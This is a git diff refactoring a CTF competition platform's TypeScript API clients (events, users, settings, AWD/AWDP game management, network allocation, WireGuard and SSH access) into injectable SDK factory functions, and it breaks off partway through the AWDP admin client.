b/packages/sdk/src/api/admin/event_writeups.ts @@ -0,0 +1,20 @@ +import type { EventWriteup } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventWriteupAdminApi(http: FloatCTFHttpClient) { + return { + fetch: (event_id: string) => { + return async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${event_id}/writeups`, { + params, + }); + return res.data; + }; + }, +}; +} + +export type EventWriteupAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/events.ts b/packages/sdk/src/api/admin/events.ts new file mode 100644 index 00000000..b1ff8798 --- /dev/null +++ b/packages/sdk/src/api/admin/events.ts @@ -0,0 +1,59 @@ +import type { Events } from "../../entity/index.js"; +import type { DataPresent } from "../../types/dataPresent.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createEventAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async (params: QueryParams = {}): Promise> => { + const res = await http.get("/events", { params }); + return res.data; + }, + create: async (event: Partial): Promise> => { + const res = await http.post("/events", event); + return res.data; + }, + patch: async (event: Partial): Promise> => { + const res = await http.patch(`/events/${event.id}`, event); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/events", { data: { id_list } }); + return res.data; + }, + get: async (id: string): Promise> => { + const res = await http.get(`/events/${id}`); + return res.data; + }, + getData: async (id: string): Promise> => { + const res = await http.get(`/events/${id}/data`); + return res.data; + }, + getReport: async (event_id: string): Promise> => { + const res = await http.get(`/events/${event_id}/report`); + return res.data; + }, + exportWriteUps: async (event_id: string): Promise> => { + const res = await http.get(`/events/${event_id}/report`); + return res.data; + }, + createChallengeSet: async ({ + name, + description, + challenge_id_list, + }: { + name: string; + description?: string; + challenge_id_list: string[]; + }) => { + const res = await http.post("/challenge_sets", { + name, + description, + challenge_id_list, + }); + return res.data; + }, +}; +} + +export type EventAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/index.ts b/packages/sdk/src/api/admin/index.ts new file mode 100644 index 00000000..3e466056 --- /dev/null +++ b/packages/sdk/src/api/admin/index.ts @@ -0,0 +1,95 @@ +/** + * 管理端领域模块的聚合出口(**全是工厂**)。 + * + * 模块自身不再持有任何模块级 HTTP 绑定:每个 `create*` 都要求注入 + * `FloatCTFHttpClient`,因此不同客户端实例天然隔离。 + */ + +export { createAdminLoginFn, type AdminLoginFn } from "./auth.js"; +export { + createSystemAdminApi, + type SystemAdminApi, +} from "./system.js"; +export { + createSettingAdminApi, + type SettingAdminApi, + type SettingsDto, +} from "./settings.js"; +export { + createAnnouncementAdminApi, + type AnnouncementAdminApi, +} from "./announcements.js"; +export { + createChallengeAdminApi, + type ChallengeAdminApi, +} from "./challenges.js"; +export { createUserAdminApi, type UserAdminApi } from "./users.js"; +export { createEventAdminApi, type EventAdminApi } from "./events.js"; +export { + createInstanceAdminApi, + type InstanceAdminApi, + type AdminInstanceRow, +} from "./instances.js"; +export { + createEventChallengeAdminApi, + type EventChallengeAdminApi, +} from "./event_challenges.js"; +export { + createEventUserAdminApi, + type EventUserAdminApi, +} from "./event_users.js"; +export { + createEventAnnouncementAdminApi, + type EventAnnouncementAdminApi, +} from "./event_announcements.js"; +export { + createEventWriteupAdminApi, + type EventWriteupAdminApi, +} from "./event_writeups.js"; +export { + createEventTeamAdminApi, + type EventTeamAdminApi, +} from "./event_teams.js"; +export { + createEventLogAdminApi, + type EventLogAdminApi, +} from "./event_logs.js"; +export { + createDatabaseAdminApi, + type DatabaseAdminApi, +} from "./database.js"; +export { + createScheduledTaskAdminApi, + type ScheduledTaskAdminApi, +} from "./scheduled_tasks.js"; +export { + createWeaponsAdminApi, + type WeaponsAdminApi, +} from "./weapons.js"; +export { createLogsAdminApi, type LogsAdminApi } from "./logs.js"; +export { + createDownloadAdminApi, + type DownloadAdminApi, +} from "./download.js"; +export { + createDiscussionAdminApi, + type DiscussionAdminApi, +} from "./discussions.js"; +export { + createDashboardAdminApi, + type DashboardAdminApi, + type DashboardSummary, +} from "./dashboard.js"; +export { + createSuperAdminApi, + type SuperAdminApi, +} from "./super_admin.js"; +export { + createDockerAdminApi, + type DockerAdminApi, + type FloatDockerContainer, + type ContainerInfo, + type PortInfo, + type ImageInfo, + type NetworkInfo, +} from "./docker.js"; diff --git a/apps/web/src/api/admin/instances.ts b/packages/sdk/src/api/admin/instances.ts similarity index 55% rename from apps/web/src/api/admin/instances.ts rename to packages/sdk/src/api/admin/instances.ts index 5cab1a33..469821c9 100644 --- a/apps/web/src/api/admin/instances.ts +++ b/packages/sdk/src/api/admin/instances.ts @@ -1,5 +1,6 @@ -import { type QueryParams, type UniResponse, admin_api } from "@/api/axios"; -import type { InstancesDto } from "@/api/service/instances"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; +import type { InstancesDto } from "../service/instances.js"; /** * 管理端统一实例条目(归一化视图)。 @@ -26,15 +27,19 @@ export type AdminInstanceRow = { destroy_at?: string | null; }; -export const instanceAdminApi = { - /** 某赛事的归一化实例列表(admin 赛事 Instance Tab)。 */ - listForEvent: async ( - eventId: string, - params: QueryParams = {}, - ): Promise> => { - const res = await admin_api.get(`/events/${eventId}/instances`, { params }); - return res.data; - }, +export function createInstanceAdminApi(http: FloatCTFHttpClient) { + return { + /** 某赛事的归一化实例列表(admin 赛事 Instance Tab)。 */ + listForEvent: async ( + eventId: string, + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${eventId}/instances`, { params }); + return res.data; + }, }; +} + +export type InstanceAdminApi = ReturnType; export type { InstancesDto as Instances }; diff --git a/packages/sdk/src/api/admin/logs.ts b/packages/sdk/src/api/admin/logs.ts new file mode 100644 index 00000000..4422b4eb --- /dev/null +++ b/packages/sdk/src/api/admin/logs.ts @@ -0,0 +1,14 @@ +import type { Logs } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createLogsAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async (params: QueryParams = {}): Promise> => { + const res = await http.get("/logs", { params }); + return res.data; + }, +}; +} + +export type LogsAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/scheduled_tasks.ts b/packages/sdk/src/api/admin/scheduled_tasks.ts new file mode 100644 index 00000000..e8f8a7a4 --- /dev/null +++ b/packages/sdk/src/api/admin/scheduled_tasks.ts @@ -0,0 +1,38 @@ +import type { ScheduledTasks } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createScheduledTaskAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/scheduled_tasks", { params }); + return res.data; + }, + create: async ( + task: Partial, + ): Promise> => { + const res = await http.post("/scheduled_tasks", task); + return res.data; + }, + patch: async ( + task: Partial, + ): Promise> => { + const res = await http.patch(`/scheduled_tasks/${task.id}`, task); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/scheduled_tasks", { + data: { id_list }, + }); + return res.data; + }, + run: async (task_id: string): Promise> => { + const res = await http.post(`/scheduled_tasks/${task_id}/run`); + return res.data; + }, +}; +} + +export type ScheduledTaskAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/settings.ts b/packages/sdk/src/api/admin/settings.ts new file mode 100644 index 00000000..aefe176b --- /dev/null +++ b/packages/sdk/src/api/admin/settings.ts @@ -0,0 +1,38 @@ +import type { Settings } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; + +/** + * 管理端 settings 接口的 API DTO。 + * 在生成实体上扩展非列的计算字段。 + */ +export type SettingsDto = Settings & { + resolved_value: string; +}; + +export function createSettingAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async (): Promise> => { + const res = await http.get("/settings"); + return res.data; + }, + create: async ( + setting: Partial, + ): Promise> => { + const res = await http.post("/settings", setting); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/settings", { data: { id_list } }); + return res.data; + }, + patch: async ( + setting: Partial, + ): Promise> => { + const res = await http.patch(`/settings/${setting.id}`, setting); + return res.data; + }, +}; +} + +export type SettingAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/super_admin.ts b/packages/sdk/src/api/admin/super_admin.ts new file mode 100644 index 00000000..56e6f4cf --- /dev/null +++ b/packages/sdk/src/api/admin/super_admin.ts @@ -0,0 +1,35 @@ +import type { SuperAdmin } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createSuperAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/super_admin", { params }); + return res.data; + }, + create: async ( + data: Partial, + ): Promise> => { + const res = await http.post("/super_admin", data); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/super_admin", { + data: { id_list }, + }); + return res.data; + }, + patch: async ( + id: string, + data: Partial, + ): Promise> => { + const res = await http.post(`/super_admin/${id}`, data); + return res.data; + }, +}; +} + +export type SuperAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/system.ts b/packages/sdk/src/api/admin/system.ts new file mode 100644 index 00000000..afeac54e --- /dev/null +++ b/packages/sdk/src/api/admin/system.ts @@ -0,0 +1,18 @@ +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { UniResponse } from "../../transport.js"; +import type { SystemInformation } from "../../types/systemInformation.js"; + +export function createSystemAdminApi(http: FloatCTFHttpClient) { + return { + monitor: async (): Promise> => { + const response = await http.get("/system/monitor"); + return response.data; + }, + version: async (): Promise> => { + const response = await http.get("/system/version"); + return response.data; + }, +}; +} + +export type SystemAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/users.ts b/packages/sdk/src/api/admin/users.ts new file mode 100644 index 00000000..b3ee932f --- /dev/null +++ b/packages/sdk/src/api/admin/users.ts @@ -0,0 +1,27 @@ +import type { Users } from "../../entity/index.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createUserAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async (params: QueryParams = {}): Promise> => { + const res = await http.get("/users", { params }); + console.log(res.data); + return res.data; + }, + create: async (user: Partial): Promise> => { + const res = await http.post("/users", user); + return res.data; + }, + patch: async (user: Partial): Promise> => { + const res = await http.patch(`/users/${user.id}`, user); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/users", { data: { id_list } }); + return res.data; + }, +}; +} + +export type UserAdminApi = ReturnType; diff --git a/packages/sdk/src/api/admin/weapons.ts b/packages/sdk/src/api/admin/weapons.ts new file mode 100644 index 00000000..2c62bf98 --- /dev/null +++ b/packages/sdk/src/api/admin/weapons.ts @@ -0,0 +1,46 @@ +import type { Weapons } from "../../entity/weapons.js"; +import type { FloatCTFHttpClient } from "../../transport.js"; +import type { QueryParams, UniResponse } from "../../transport.js"; + +export function createWeaponsAdminApi(http: FloatCTFHttpClient) { + return { + fetch: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/weapons", { params }); + return res.data; + }, + create: async (weapon: Partial): Promise> => { + const res = await http.post("/weapons", weapon); + return res.data; + }, + patch: async (weapon: Partial): Promise> => { + const res = await http.patch(`/weapons/${weapon.id}`, weapon); + return res.data; + }, + remove: async (id_list: string[]): Promise> => { + const res = await http.delete("/weapons", { data: { id_list } }); + return res.data; + }, + upload: async ( + weapon_id: string, + weapon: File, + ): Promise> => { + const formData = new FormData(); + formData.append("weapon", weapon); + + const res = await http.post( + `/weapons/${weapon_id}/upload`, + formData, + { + headers: { + "Content-Type": "multipart/form-data", + }, + }, + ); + return res.data; + }, +}; +} + +export type WeaponsAdminApi = ReturnType; diff --git a/packages/sdk/src/api/awd.ts b/packages/sdk/src/api/awd.ts new file mode 100644 index 00000000..4c0465ef --- /dev/null +++ b/packages/sdk/src/api/awd.ts @@ -0,0 +1,639 @@ +/** + * AWD 管理端 + 选手端 API 客户端(统一赛事路由)。 + * 管理端:/api/admin/events/{eventId}/awd/...(创建:POST /api/admin/events/awd) + * 选手端:/api/events/{eventId}/awd/... + */ +import type { FloatCTFHttpClient } from "../transport.js"; +import type { QueryParams, UniResponse } from "../transport.js"; + +export type AwdEventStatus = { + event_id: string; + status: string; + phase: string; + round_count: number | null; + round_duration_secs: number; + initial_score: number; + free_reset_count: number; + extra_reset_penalty: number; + judge_max_concurrency: number; + judge_default_timeout_secs: number; + judge_retry_interval_secs: number; + archive_retention_hours: number; + planned_start_at: string | null; + verified_at: string | null; + started_at: string | null; + updated_at: string; + /** Derived: final round completed, Judge still settling. Competition closed. */ + final_settlement: boolean; +}; + +export type AwdEventConfigInput = { + /** PATCH 乐观锁版本;首次创建可省略。 */ + expected_updated_at?: string; + round_count?: number; + round_duration_secs?: number; + initial_score?: number; + free_reset_count?: number; + extra_reset_penalty?: number; + judge_max_concurrency?: number; + judge_default_timeout_secs?: number; + judge_retry_interval_secs?: number; + archive_retention_hours?: number; + planned_start_at?: string; + clear_planned_start?: boolean; +}; + +export type AwdGameBox = { + id: string; + team_id: string; + event_gamebox_id: string; + gamebox_name: string; + status: string; + gamebox_ip: string; + container_name: string; + health_status: string; +}; + +export type GameBoxLibraryDto = { + id: string; + name: string; + safe_name: string; + category: string; + description: string; + hidden: boolean; + version: string | null; + build_status: string | null; + package_digest: string | null; + image_ref: string | null; + image_repo_digest: string | null; + username: string | null; + cpu_millis: number | null; + memory_bytes: number | null; + pids_limit: number | null; + healthchecks_json: unknown | null; + judge_script_name: string | null; + judge_script_content: string | null; + judge_args_json: unknown | null; + judge_timeout_secs: number | null; + judge_retry_interval_secs: number | null; +}; + +export type ImportGameBoxResponse = { + gamebox: GameBoxLibraryDto; +}; + +/** POST /awd/gameboxes/scan 结果行。 */ +export type GameBoxScanItem = { + safe_name: string; + name: string | null; + version: string | null; + status: "added" | "skipped" | "error"; + message: string; +}; + +/** POST /awd/gameboxes/check 结果行。 */ +export type GameBoxCheckResult = { + id: string; + gamebox_name: string; + is_ok: boolean; + docker_image: boolean; + package_dir: boolean; +}; + +/** POST /awd/gameboxes/build 结果行。 */ +export type GameBoxBuildResult = { + gamebox_name: string; + is_ok: boolean; + message: string; +}; + +export type EventGameBoxDto = { + id: string; + gamebox_id: string; + gamebox_name: string; + gamebox_safe_name: string; + gamebox_version: string | null; + host_offset: number; + enabled: boolean; + hidden: boolean; + cpu_millis: number; + memory_bytes: number; + pids_limit: number; + judge_timeout_secs: number | null; + judge_retry_interval_secs: number | null; + attack_score: number; + judge_down_penalty: number; + first_bonus: number; + created_at: string; +}; + +/** @deprecated Manual create-with-config removed; use package import. */ +export type GameBoxConfigPayload = { + name?: string; + category?: string; + description?: string; + hidden?: boolean; +}; + +export type AwdScoreRow = { + team_id: string; + team_name: string; + attack_score: number; + defense_score: number; + total_score: number; + rank: number; +}; + +/** 预检运行记录(GET /api/admin/events/{event_id}/awd/prechecks)。 + * + * `error_msg` 为后端落库的 JSON 文本: + * `{"errors":[{"component","error"}],"notes":[{"component","note"}]}`。 + */ +export type AwdPrecheckRun = { + id: string; + event_id: string; + status: string; + trigger?: string | null; + revision?: number | null; + error_msg?: string | null; + started_at?: string | null; + completed_at?: string | null; +}; + +/** 选手端 AWD 赛事状态(GET /api/events/{event_id}/awd/status)。 */ +export type AwdPlayerStatus = { + event_id: string; + status: string; + phase: string; + current_round: number | null; + round_count: number | null; + banned: boolean; + score: number | null; + /** Derived: final round completed, Judge still settling. Competition closed. */ + final_settlement: boolean; +}; + +export type WireGuardConfigResponse = { + config: string; +}; + +// ── AWD 网络控制面(§4-§7 / §22-§24 / §64-§67 / §73)── + +/** 平台网络设置 + 容量预览(GET /admin/awd/network)。 */ +export type PlatformNetworkSettings = { + gamebox_pool: string; + gamebox_event_prefix: number; + gamebox_team_prefix: number; + wireguard_pool: string; + wireguard_event_prefix: number; + wireguard_team_prefix: number; + wireguard_port_min: number; + wireguard_port_max: number; + wireguard_public_endpoint: string | null; + updated_at: string; + // 容量预览(§67,来自 GET 计算) + gamebox_event_capacity: number; + gamebox_team_capacity_per_event: number; + gamebox_hosts_per_team: number; + wireguard_event_capacity: number; + wireguard_team_capacity_per_event: number; + wireguard_port_capacity: number; +}; + +/** PATCH /admin/awd/network 的请求体(全部可选,部分更新)。 */ +export type PlatformNetworkSettingsUpdate = { + gamebox_pool?: string; + gamebox_event_prefix?: number; + gamebox_team_prefix?: number; + wireguard_pool?: string; + wireguard_event_prefix?: number; + wireguard_team_prefix?: number; + wireguard_port_min?: number; + wireguard_port_max?: number; + wireguard_public_endpoint?: string | null; +}; + +/** PATCH 响应:返回更新的少量字段(含 note)。 */ +export type PlatformNetworkSettingsUpdateResponse = Partial< + Pick< + PlatformNetworkSettings, + | "gamebox_pool" + | "wireguard_pool" + | "wireguard_public_endpoint" + | "updated_at" + > +> & { note?: string }; + +/** Host 观测状态(§4.1,纯只读)。 */ +export type PlatformNetworkHealth = { + nftables: string; + wireguard: string; + docker: string; + firewall_runtime: string; + floatctf_table: string; + docker_firewall_backend: string | null; + firewalld: string; + ipv4_forwarding: string | null; + ipv6_policy: string; + capability_supported: boolean; + notes: string[]; +}; + +/** 平台分配账本行(§7/§66)。 */ +export type PlatformNetworkAllocation = { + event_id: string; + event_title: string | null; + kind: string; + cidr: string; + allocated_at: string; + released_at: string | null; + active: boolean; +}; + +/** Event Network(§22/§64):未分配时 GET 返回 404(data=null)。 */ +export type EventNetworkInfo = { + event_id: string; + allocation_mode: string; + gamebox_cidr: string; + wireguard_cidr: string; + infrastructure_subnet: string; + flagserver_ip: string; + judgeserver_ip: string; + wireguard_interface_name: string; + wireguard_listen_port: number; + docker_network_name: string; + locked: boolean; +}; + +/** PUT /events/{eventId}/awd/network 请求体(automatic 默认;manual 需两个 CIDR)。 */ +export type NetworkAllocationRequest = { + allocation_mode?: "automatic" | "manual"; + gamebox_cidr?: string; + wireguard_cidr?: string; + wireguard_listen_port?: number; +}; + +/** 管理端 AWD 生命周期(SuperAdmin)。 */ +export function createAwdAdminApi(http: FloatCTFHttpClient) { + return { + getStatus: async ( + eventId: string, + ): Promise> => { + const res = await http.get(`/events/${eventId}/awd`); + return res.data; + }, + createEvent: async ( + body: AwdEventConfigInput & { event_id: string }, + ): Promise> => { + const res = await http.post("/events/awd", body); + return res.data; + }, + updateConfig: async ( + eventId: string, + body: AwdEventConfigInput, + ): Promise> => { + const res = await http.patch(`/events/${eventId}/awd`, body); + return res.data; + }, + deploy: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/deploy`); + return res.data; + }, + start: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/start`); + return res.data; + }, + pause: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/pause`); + return res.data; + }, + resume: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/resume`); + return res.data; + }, + finish: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/finish`); + return res.data; + }, + precheck: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/precheck`); + return res.data; + }, + // 最近一次预检的 errors/notes:运维页据此展示失败原因(原先只显示 Verification Failed)。 + prechecks: async ( + eventId: string, + ): Promise> => { + const res = await http.get(`/events/${eventId}/awd/prechecks`); + return res.data; + }, + scores: async (eventId: string): Promise> => { + const res = await http.get(`/events/${eventId}/awd/scores`); + return res.data; + }, + archive: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/archive`); + return res.data; + }, + resetGamebox: async ( + eventId: string, + instanceId: string, + ): Promise> => { + const res = await http.post( + `/events/${eventId}/awd/gameboxes/${instanceId}/reset`, + ); + return res.data; + }, + /** 手动封禁队伍(无定时,需管理员手动解封)。 */ + banTeam: async ( + eventId: string, + teamId: string, + body: { reason?: string }, + ): Promise> => { + const res = await http.post( + `/events/${eventId}/awd/teams/${teamId}/ban`, + { + reason: body.reason, + }, + ); + return res.data; + }, + /** P4-5:AWD 解封(反向闭环:DB unbanned → WG 恢复 peers → banned set reconcile)。 */ + unbanTeam: async ( + eventId: string, + teamId: string, + ): Promise> => { + const res = await http.delete( + `/events/${eventId}/awd/teams/${teamId}/ban`, + ); + return res.data; + }, + /** P3-10:内部 token 轮换(key_version+1 + 容器 rollout + 审计)。 */ + rotateTokens: async (eventId: string): Promise> => { + const res = await http.post(`/events/${eventId}/awd/tokens/rotate`); + return res.data; + }, + /** P5-11:AWD 分数调整(审计)。 */ + adjustScore: async ( + eventId: string, + body: { team_id: string; delta: number; reason: string }, + ): Promise> => { + const res = await http.post( + `/events/${eventId}/awd/score/adjust`, + body, + ); + return res.data; + }, + // ── GameBox 库(identity + revisions;package import)── + listGameboxes: async ( + params: QueryParams = {}, + ): Promise> => { + const res = await http.get("/awd/gameboxes", { params }); + return res.data; + }, + /** POST multipart 字段 `package_zip`——同步构建。 */ + importGamebox: async ( + file: File | Blob, + ): Promise> => { + const form = new FormData(); + form.append("package_zip", file); + const res = await http.post("/awd/gameboxes/import", form, { + headers: { "Content-Type": "multipart/form-data" }, + }); + return res.data; + }, + updateGamebox: async ( + gameboxId: string, + body: { + name?: string; + category?: string; + description?: string; + hidden?: boolean; + username?: string | null; + recommended_cpu_millis?: number | null; + recommended_memory_bytes?: number | null; + recommended_pids_limit?: number | null; + /** JSON 文本;null 清空。 */ + healthchecks_json?: string | null; + judge_script_name?: string | null; + judge_script_content?: string | null; + /** JSON 文本;null 清空。 */ + judge_args_json?: string | null; + judge_timeout_secs?: number | null; + judge_retry_interval_secs?: number | null; + }, + ): Promise> => { + const res = await http.patch(`/awd/gameboxes/${gameboxId}`, body); + return res.data; + }, + hideGamebox: async (gameboxId: string): Promise> => { + const res = await http.post(`/awd/gameboxes/${gameboxId}/hide`); + return res.data; + }, + // 批量删除(仿 challenges.remove):仅未被赛事 / AWDP Run 引用的可删 + removeGamebox: async (id_list: string[]): Promise> => { + const res = await http.delete("/awd/gameboxes", { + data: { id_list }, + }); + return res.data; + }, + scanGameboxes: async (): Promise> => { + const res = await http.post("/awd/gameboxes/scan"); + return res.data; + }, + checkGameboxes: async ( + gamebox_id_list?: string[], + ): Promise> => { + const res = await http.post("/awd/gameboxes/check", { + gamebox_id_list, + }); + return res.data; + }, + buildGameboxes: async ( + gamebox_id_list?: string[], + ): Promise> => { + const res = await http.post("/awd/gameboxes/build", { + gamebox_id_list, + }); + return res.data; + }, + // ── 平台网络(Control Plane,§73)── + getPlatformNetwork: async (): Promise< + UniResponse + > => { + const res = await http.get("/awd/network"); + return res.data; + }, + updatePlatformNetwork: async ( + body: PlatformNetworkSettingsUpdate, + ): Promise> => { + const res = await http.patch("/awd/network", body); + return res.data; + }, + /** §4.1 Host 观测状态(纯只读)。 */ + getPlatformNetworkHealth: async (): Promise< + UniResponse + > => { + const res = await http.get("/awd/network/health"); + return res.data; + }, + /** §7/§66 平台分配账本(只读)。 */ + getPlatformNetworkAllocations: async (): Promise< + UniResponse + > => { + const res = await http.get("/awd/network/allocations"); + return res.data; + }, + // ── 赛事网络(§22/§64)── + /** 未分配时后端返回 404(data=null)。 */ + getEventNetwork: async ( + eventId: string, + ): Promise> => { + const res = await http.get(`/events/${eventId}/awd/network`); + return res.data; + }, + /** PUT 分配:无 body 即 automatic;manual 需 gamebox_cidr + wireguard_cidr。 */ + allocateEventNetwork: async ( + eventId: string, + body: NetworkAllocationRequest, + ): Promise> => { + const res = await http.put(`/events/${eventId}/awd/network`, body); + return res.data; + }, + /** §33/§93 重新分配(仅未锁定)。 */ + reallocateEventNetwork: async ( + eventId: string, + ): Promise> => { + const res = await http.post( + `/events/${eventId}/awd/network/reallocate`, + ); + return res.data; + }, + // ── 赛事 GameBox 选择(EventGameBox)── + listEventGameboxes: async ( + eventId: string, + params: QueryParams = {}, + ): Promise> => { + const res = await http.get(`/events/${eventId}/awd/gameboxes`, { + params, + }); + return res.data; + }, + addEventGamebox: async ( + eventId: string, + body: { + gamebox_id: string; + host_offset?: number; + hidden?: boolean; + attack_score?: number; + judge_down_penalty?: number; + first_bonus?: number; + }, + ): Promise> => { + const res = await http.post(`/events/${eventId}/awd/gameboxes`, body); + return res.data; + }, + updateEventGamebox: async ( + eventId: string, + eventGameboxId: string, + body: { + enabled?: boolean; + hidden?: boolean; + cpu_millis?: number; + memory_bytes?: number; + pids_limit?: number; + judge_timeout_secs?: number | null; + judge_retry_interval_secs?: number | null; + attack_score?: number; + judge_down_penalty?: number; + first_bonus?: number; + }, + ): Promise> => { + const res = await http.patch( + `/events/${eventId}/awd/gameboxes/${eventGameboxId}`, + body, + ); + return res.data; + }, + removeEventGamebox: async ( + eventId: string, + eventGameboxId: string, + ): Promise> => { + const res = await http.delete( + `/events/${eventId}/awd/gameboxes/${eventGameboxId}`, + ); + return res.data; + }, +}; +} + +export type AwdAdminApi = ReturnType; + +/** 选手端 AWD 接口(用户 JWT)。 */ +export function createAwdPlayerApi(http: FloatCTFHttpClient) { + return { + /** 获取 AWD 赛事状态(phase, round, ban state, score)。 */ + status: async (eventId: string): Promise> => { + const res = await http.get(`/events/${eventId}/awd/status`); + return res.data; + }, + gameboxes: async (eventId: string): Promise> => { + const res = await http.get(`/events/${eventId}/awd/gameboxes`); + return res.data; + }, + resetGamebox: async ( + eventId: string, + instanceId: string, + ): Promise> => { + const res = await http.post( + `/events/${eventId}/awd/gameboxes/${instanceId}/reset`, + ); + return res.data; + }, + submitFlag: async ( + eventId: string, + flag: string, + ): Promise> => { + const res = await http.post(`/events/${eventId}/awd/submissions`, { + flag, + }); + return res.data; + }, + scores: async (eventId: string): Promise> => { + const res = await http.get(`/events/${eventId}/awd/scores`); + return res.data; + }, + wireguardConfig: async ( + eventId: string, + ): Promise> => { + const res = await http.get( + `/events/${eventId}/awd/wireguard/config`, + ); + return res.data; + }, + /** + * 队伍级 SSH 访问凭据(GET /events/{eventId}/awd/ssh-config)。 + */ + sshConfig: async ( + eventId: string, + ): Promise> => { + const res = await http.get(`/events/${eventId}/awd/ssh-config`); + return res.data; + }, +}; +} + +export type AwdPlayerApi = ReturnType; + +export type SshInstanceInfo = { + id: string; + gamebox_ip: string; + username: string; + container_name: string; + health_status: string; +}; + +export type SshAccessResponse = { + port: number; + password: string; + instances: SshInstanceInfo[]; +}; diff --git a/apps/web/src/api/awdp.ts b/packages/sdk/src/api/awdp.ts similarity index 60% rename from apps/web/src/api/awdp.ts rename to packages/sdk/src/api/awdp.ts index 40a9c964..e0e8def7 100644 --- a/apps/web/src/api/awdp.ts +++ b/packages/sdk/src/api/awdp.ts @@ -3,12 +3,8 @@ * 管理端:/api/admin/events/{eventId}/awdp/... * 选手端:/api/events/{eventId}/awdp/... */ -import { - type QueryParams, - type UniResponse, - admin_api, - service_api, -} from "@/api/axios"; +import type { FloatCTFHttpClient } from "../transport.js"; +import type { QueryParams, UniResponse } from "../transport.js"; // ──────────────────────────────────────────────────────────────────────────── // Types @@ -245,7 +241,7 @@ export type AwdpDataActivity = { /** 管理端 AWDP Data Present 聚合响应。 */ export type AwdpDataPresent = { - event: import("@/entity").Events; + event: import("../entity/index.js").Events; user_count: number; team_count: number; gameboxes: AwdpDataGameBox[]; @@ -258,181 +254,189 @@ export type AwdpDataPresent = { // Admin client // ──────────────────────────────────────────────────────────────────────────── -export const awdpAdminApi = { - getConfig: async (eventId: string) => { - const res = await admin_api.get>( - `/events/${eventId}/awdp`, - ); - return res.data; - }, - updateConfig: async (eventId: string, body: AwdpConfigPatchInput) => { - const res = await admin_api.patch>( - `/events/${eventId}/awdp`, - body, - ); - return res.data; - }, - start: async (eventId: string) => { - const res = await admin_api.post>( - `/events/${eventId}/awdp/start`, - ); - return res.data; - }, - breakToFix: async (eventId: string) => { - const res = await admin_api.post>( - `/events/${eventId}/awdp/break-to-fix`, - ); - return res.data; - }, - finish: async (eventId: string) => { - const res = await admin_api.post>( - `/events/${eventId}/awdp/finish`, - ); - return res.data; - }, - attachGamebox: async ( - eventId: string, - gameboxId: string, - hidden?: boolean, - ) => { - const res = await admin_api.post>( - `/events/${eventId}/awdp/gameboxes`, - { - gamebox_id: gameboxId, - hidden, - }, - ); - return res.data; - }, - detachGamebox: async (eventId: string, egId: string) => { - const res = await admin_api.delete>( - `/events/${eventId}/awdp/gameboxes/${egId}`, - ); - return res.data; - }, - listEventGameboxes: async (eventId: string, params?: QueryParams) => { - const res = await admin_api.get>( - `/events/${eventId}/awdp/gameboxes`, - { params }, - ); - return res.data; - }, - listInstances: async (eventId: string) => { - const res = await admin_api.get>( - `/events/${eventId}/awdp/instances`, - ); - return res.data; - }, - scores: async (eventId: string) => { - const res = await admin_api.get>( - `/events/${eventId}/awdp/scores`, - ); - return res.data; - }, - dataPresent: async (eventId: string) => { - const res = await admin_api.get>( - `/events/${eventId}/awdp/data`, - ); - return res.data; - }, +export function createAwdpAdminApi(http: FloatCTFHttpClient) { + return { + getConfig: async (eventId: string) => { + const res = await http.get>( + `/events/${eventId}/awdp`, + ); + return res.data; + }, + updateConfig: async (eventId: string, body: AwdpConfigPatchInput) => { + const res = await http.patch>( + `/events/${eventId}/awdp`, + body, + ); + return res.data; + }, + start: async (eventId: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/start`, + ); + return res.data; + }, + breakToFix: async (eventId: string) => { + const res = await http.post>( + `/events/${eventId}/awdp/break-to-fix`, + ); + return res.data; + }, + finish: async (eventId: string) => { + const res = await http.post>( + 